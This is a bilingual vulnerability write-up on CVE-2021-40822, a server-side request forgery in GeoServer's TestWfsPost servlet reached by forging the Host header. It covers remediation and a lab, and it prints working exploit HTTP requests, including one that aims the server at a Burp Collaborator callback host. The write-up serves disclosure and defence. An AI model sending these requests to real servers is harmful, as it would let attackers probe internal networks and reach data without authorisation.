‹ARES offensive division vulnerability research

Pesquisa de VulnerabilidadeVulnerability Research

SSRF no GeoServer (CVE-2021-40822)SSRF in GeoServer (CVE-2021-40822)

Como transformar uma função de teste exposta por padrão no GeoServer — somada a um Host Header Injection — em um Server-Side Request Forgery completo.How a test function exposed by default in GeoServer — combined with a Host Header Injection — becomes a full Server-Side Request Forgery.


CVE ID
CVE-2021-40822
Severity
High · CVSS 7.5
Affected
GeoServer ≤ 2.18.5 · 2.19.x ≤ 2.19.2
Vendor
OSGeo · GeoServer
Disclosure
Coordenada · CVE atribuídoCoordinated · CVE assigned
Researcher
phor3nsic — Vultus
screenshot
ConteúdoContents

Este artigo mostra como é possível obter um Server-Side Request Forgery completo através da aplicação GeoServer — um servidor open-source para compartilhamento de dados geoespaciais.This article shows how it is possible to obtain a complete Server-Side Request Forgery through the GeoServer application — an open-source server for sharing geospatial data.

IntroduçãoIntroduction

Analisando as funções de teste disponíveis por padrão em todo GeoServer, reparamos na existência de um “TestServlet”. Assim que vimos essa opção, pensamos na hora na possibilidade de um SSRF — e foi com isso em mente que usamos as técnicas abaixo pra burlar algumas validações e chegar num Full SSRF.Analyzing the test functions available by default in every GeoServer, we noticed a “TestServlet”. The moment we saw that option we immediately thought of a possible SSRF — and with that in mind we used the techniques below to bypass a few checks and reach a full SSRF.

GeoServer's landing interface, reachable without authentication.
A interface inicial do GeoServer, acessível sem autenticação.GeoServer's landing interface, reachable without authentication.

Descobrindo a vulnerabilidadeDiscovering the vulnerability

Analisando a função “TestServlet” — disponível sem autenticação por padrão nos GeoServers — tentamos enviar um host qualquer, tipo http://example.com, e recebemos uma resposta do tipo:Analyzing the “TestServlet” function — available without authentication by default on GeoServers — we tried sending any host, like http://example.com, and got a response of this kind:

The validation rejects the submitted host.
A validação rejeita o host enviado.The validation rejects the submitted host.

Logo percebi que havia restrições. Testei outros protocolos — FILE, FTP, DATA, entre outros — mas sempre o mesmo erro. Enviei a URL que vem por padrão, parecida com http://localhost:8090/geoserver.I quickly noticed there were restrictions. I tried other protocols — FILE, FTP, DATA, among others — but always the same error. I sent the URL that ships by default, similar to http://localhost:8090/geoserver.

Tentamos remover a URL e recebemos o mesmo erro, o que indicava que a URI /geoserver era obrigatória. Até aqui tudo bem — precisávamos, no mínimo, fazer a requisição chegar a um servidor externo.We tried removing the URL and got the same error, which suggested the /geoserver URI was required. So far so good — we needed, at minimum, to make the request reach an external server.

Depois de uma série de tentativas, pensamos em testar um Host Header Injection: se essa validação estivesse sendo feita com base no host atual, eu conseguiria um bypass. Foi quando tentei algo assim:After a series of attempts, we thought about trying a Host Header Injection: if that validation was being done based on the current host, I could get a bypass. That's when I tried something like this:

POST /geoserver/TestWfsPost HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 73

form_hf_0=&url=http://localhost:8090/geoserver/&body=&username=&password=

E recebi a seguinte resposta:And I got the following response:

With the forged Host, the server accepts the request.
Com o Host forjado, o servidor aceita a requisição.With the forged Host, the server accepts the request.

Ou seja: o servidor entendeu que meu host é example.com. Então, se adicionarmos o endpoint, temos SSRF. Montamos a seguinte requisição:So the server understood that my host is example.com. That means if we add the endpoint, we have SSRF. We set up the following request:

POST /geoserver/TestWfsPost
Host: poc.burpcollaborator.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 73

form_hf_0=&url=http://poc.burpcollaborator.net/geoserver/&body=&username=&password=
The forged request is sent to our collaborator.
A requisição forjada é enviada ao nosso collaborator.The forged request is sent to our collaborator.

No meu collaborator:On my collaborator:

Burp Collaborator confirms the callback — SSRF fired.
O Burp Collaborator confirma o callback — SSRF disparado.Burp Collaborator confirms the callback — SSRF fired.

OK, mas repare que o endpoint /geoserver foi requisitado — o que, em qualquer servidor, daria um 404. O GeoServer não traz o contexto no corpo da resposta, deixando o SSRF cego (blind).OK, but notice that the /geoserver endpoint was requested — which, on any server, would return a 404. The GeoServer doesn't bring the context back in the response body, leaving the SSRF blind.

The response carries no target body — blind SSRF.
A resposta não traz o corpo do alvo — SSRF cego.The response carries no target body — blind SSRF.

Depois de algumas tentativas, percebemos que bastava voltar pra raiz usando ../:After a few tries, we realized we just needed to walk back to the root using ../:

With ../ we reach the root and read the target's response — full SSRF.
Com ../ voltamos à raiz e lemos a resposta do alvo — SSRF completo.With ../ we reach the root and read the target's response — full SSRF.

E é assim que concluímos com um SSRF completo!And that's how we conclude with a full SSRF!

RemediaçãoRemediation

Você pode optar por atualizar para a versão mais nova, ou criar/modificar o parâmetro proxyBaseUrl no arquivo globals.xml, apontando-o para o domínio do servidor onde a aplicação está hospedada.You can choose to update to the newest version, or create/modify the proxyBaseUrl parameter in the globals.xml file, pointing it to the domain of the server where the application is hosted.

Hackeie você mesmoHack yourself

Clone o repositório e suba o laboratório:Clone the repository and start the lab:

RepositórioRepository — github.com/phor3nsic/CVE-2021-40822

# sobe o lab / start the lab
docker-compose up

# checa se está vulnerável / check if vulnerable
python3 CVE-2021-40822.py -u http://localhost:8090/

Agora explore por conta própria :) Hack the planet!!!Now explore yourself :) Hack the planet!!!

Linha do tempoTimeline

AgradecimentosThanks

Obrigado à equipe @gccybermonks pelo apoio no desenvolvimento da pesquisa, e à equipe de desenvolvimento @planetosgeo.Thanks to the @gccybermonks team for supporting the research development, as well as the @planetosgeo development team.

ReferênciasReferences

  1. Issue no Jira do OSGeo (GEOS-10229).OSGeo Jira issue (GEOS-10229). https://osgeo-org.atlassian.net/browse/GEOS-10229
  2. Repositório do PoC / laboratório.PoC / lab repository. https://github.com/phor3nsic/CVE-2021-40822